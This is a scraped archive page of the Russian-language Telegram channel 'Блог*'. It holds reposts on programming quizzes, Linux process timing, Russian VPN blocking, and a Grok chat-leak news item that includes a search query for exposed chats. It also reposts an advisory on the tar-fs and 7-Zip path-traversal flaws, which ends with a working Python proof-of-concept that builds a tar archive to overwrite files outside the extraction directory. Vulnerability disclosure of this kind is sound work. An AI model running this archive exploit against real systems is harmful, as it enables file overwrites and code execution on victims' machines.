en
Feedback

Don't get caught by a cheater! Telemetrio finds and tags such channels 👉 If you want to see the tag, subscribe

Блог*

Блог*

Open in Telegram

Блог со звёздочкой. Много репостов, немножко программирования. Небольшое прикольное комьюнити: @decltype_chat_ptr_t Автор: @insert_reference_here

Show more
1 988
Subscribers
-124 hours
-127 days
+630 days
Posts Archive
Repost from Neural Machine
Запрещено использовать слово «запрещено».

🌚 #cpp Source
🌚 #cpp Source

Очередная #ml #suckassstory, видимо

Для процессов (по факту, task_struct) в Linux отслеживается два времени с момента запуска: start_boottime, который включает в себя время, пока система была в состоянии сна, и start_monotonic, который не включает. Как получить start_boottime из юзерспейса? Через /proc/{pid}/stat, где это 22-ое поле в строчке (правда, только с округлением до тиков, по умолчанию 100 тиков в секунду). Как получить start_monotonic из юзерспейса, буквально соседнее поле в task_struct? А никак. #бомбёжкипост

#music rainbowdragoneyes.bandcamp.com/track/the-frozen-light-glacial-peak (сама игра, из которой саундтрек, весьма хорошая, советую глянуть)

Опять #ml #suckassstory (хотя больше про #itsec, конечно)

⚡️ Сотни тысяч переписок с Grok внезапно ОКАЗАЛИСЬ в Google — расследование Forbes показало, что в открытом доступе лежат пар
⚡️ Сотни тысяч переписок с Grok внезапно ОКАЗАЛИСЬ в Google — расследование Forbes показало, что в открытом доступе лежат пароли, рабочие документы и личные данные пользователей. Причина проста: если нажать кнопку «поделиться» в чате, то диалог автоматически становится доступен по уникальной ссылке и индексируется поисковиком. Ирония в том, что совсем недавно официальный аккаунт Grok в X высмеивал OpenAI за «утечки» в ChatGPT и уверял, что у них такой функции нет. Сейчас единственный способ спрятать переписку — удалить ее. А найти их можно простым поиском:
site:grok.com/share (любое слово)
@bugfeature | #grok

Папищек подсказал про #prog квиз по email-адресам: e-mail.wtf Я набрал 15/21 (thanks @bushes_in_my_mind)

В таком случае я собака

Repost from Neural Machine
Я считаю, что каждая собака в мире должна быть счастлива.

Ещё один #prog квиз, на этот раз про конструктор Date в #js: jsdate.wtf (лично я набрал 9/28)

Уведомление от банка, которое мы заслужили. В России ещё что-то можно делать? Ну там срать, дышать, спать хотя бы? А раньше п
Уведомление от банка, которое мы заслужили. В России ещё что-то можно делать? Ну там срать, дышать, спать хотя бы? А раньше первое сентября было про ручки, знания и "линейки"...

Repost from N/a
Это мимо меня пролетает жизнь

венсдей май дюдес
венсдей май дюдес

Repost from Too Long, Did Read
Страшилка про VPNы Недавно ненадолго приезжал в Москву и прифигел от того, до чего техника дошла в плане блокировки контента. Помимо того, что в России поблокировали кучу IP ranges разных облачных провайдеров, вроде Cloudflare, Digital Ocean и даже Hetzner, за последние пару лет большая часть существующих VPN-протоколов почти полностью перестали работать (особенно на LTE). Очень рекомендую прошлогодний выпуск “запуск завтра”, где про методы блокировок довольно подробно и интересно рассказывает директор фонда “Общество защиты интернета”. Спойлер: почти все, что он там “предсказывал” про следующие протоколы, которые будут банить в РФ, за этот год уже произошло. Большинство моих друзей в результате всего этого меняют VPNы раз в 1-2 месяца и держат сразу по несколько приложений одновременно на всякий случай. В связи с этим решил повспоминать случаи, в которых разработчики VPNов умышленно или неумышленно (ага) подвергали пользователей разнообразным рискам, шпионили за ними и т д. - Наверное, самый масштабный кейс с участием 150+ разных VPN-сервисов - ботнет 911 S5, снесенный американскими спецслужбами в 2024. Создатель ботнета на протяжении нескольких лет создавал и продвигал разные VPN-приложения “с сюрпризом” в App Store и Google Play и успел насобирать более 19 млн пользователей по всему миру и $99+ млн выручки. Каждый девайс с установленным и включенным VPNом из этого набора превращался в зараженную ноду ботнета, который, в свою очередь, создатель сдавал в аренду разным киберпреступникам для организации DDoS-атак, фишингов и вымогательств. - Уже писал коротко про Onavo - VPN, который в 2013 году купил Facebook за астрономические на тот момент + для такого приложения $120 млн и продвигал его на главной фб как способ сидеть в интернете “безопаснее и дешевле”. В ходе антимонопольного кейса против FB “случайно” обнаружилось, что вплоть до 2019 года фейсбук с помощью Onavo расшифровывал весь проходящий через VPN трафик на домены Snapchat, Amazon, Google… Очень подробный технический разбор этого кейса. - В 2021 произошла утечка данных 21 млн пользователей трех популярных на тот момент VPNов: SuperVPN, GeckoVPN и ChatVPN. Данные пользователей (емейлы, IMEI, пароли и прочее) выложили на один из даркнет-форумов и продавали всем желающим. По слухам (чет не нашел железобетонных пруфов), разработчики оставили экспоузнутую базу данных с дефолтным логином/паролем, - так что и ломать особо ничего не пришлось. Какие можно сделать выводы из подобных историй? Во-первых, если VPN бесплатный, то он зарабатывает каким-то другим способом. Если это “хороший” впн, то он показывает рекламу при заходе в приложение и очень сильно режет трафик, вымогая подписку. Если ваш бесплатный впн этого не делает, работает без ограничений, смс, рекламы и т д - либо вы нашли святого VPN-провайдера, либо он монетизирует вас как-то иначе. И шансов узнать как именно у вас довольно мало. Кстати, если впн платный - он может точно так же зарабатывать доп. деньги сливая данные или продавая вас как частичку ботнета - диверсификация revenue streams, так сказать. Во-вторых, разработчик-вайбкодер, который запускает yet another VPN, мог и без всякого злого умысла оставить пару дырок для желающих угнать данные пользователей. А впн знает довольно много в сравнении с другими видами приложений. Честно говоря, что со всем этим глобально делать я не знаю. Я уже пару лет сижу только на собственноручно развернутом VPNе (в основном использую Tailscale, расскажу как-нибудь), но вот в последний приезд обнаружил, что на LTE он уже не работает (ну, точнее, на Билайне. хз может у других не так). И даже моя “запасная” Amnesia с 10ю разными изощренными протоколами вроде X-Ray и Shadowsocks5 работала только на вайфае. Видел, что люди покупают в тг ботах профили для Outline, вроде бы работает - но выглядит это все хуже и хуже. Думаю (без пруфов и достаточной экспертизы), что если глушить все будут и дальше, через год-два уже только невероятные умельцы смогут ВПНить с мобильного интернета. А вы как думаете?

Добрый день пока сбывается только первая часть картинки
Добрый день пока сбывается только первая часть картинки

#itsec #suckassstory В Fuchsia правильно сделали

Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога https://www.opennet.ru/opennews/art.shtml?num=63740 В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя. Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца. Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки. Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar PoC
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
    root = tarfile.TarInfo("root")
    root.linkname = ("noop/" * 15) + ("../" * 15)
    root.type = tarfile.SYMTYPE
    tar.addfile(root)
    noop = tarfile.TarInfo("noop")
    noop.linkname = "."
    noop.type = tarfile.SYMTYPE
    tar.addfile(noop)
    hard = tarfile.TarInfo("hardflag")
    hard.linkname = "root/home/username/flag/flag"
    hard.type = tarfile.LNKTYPE
    tar.addfile(hard)
    content = b"overwrite\n"
    overwrite = tarfile.TarInfo("hardflag")
    overwrite.size = len(content)
    overwrite.type = tarfile.REGTYPE
    tar.addfile(overwrite, fileobj=io.BytesIO(content))
    content = b"new!\n"
    newfile = tarfile.TarInfo("root/home/username/flag/newfile")
    newfile.size = len(content)
    newfile.type = tarfile.REGTYPE
    tar.addfile(newfile, fileobj=io.BytesIO(content))

Repost from N/a
photo content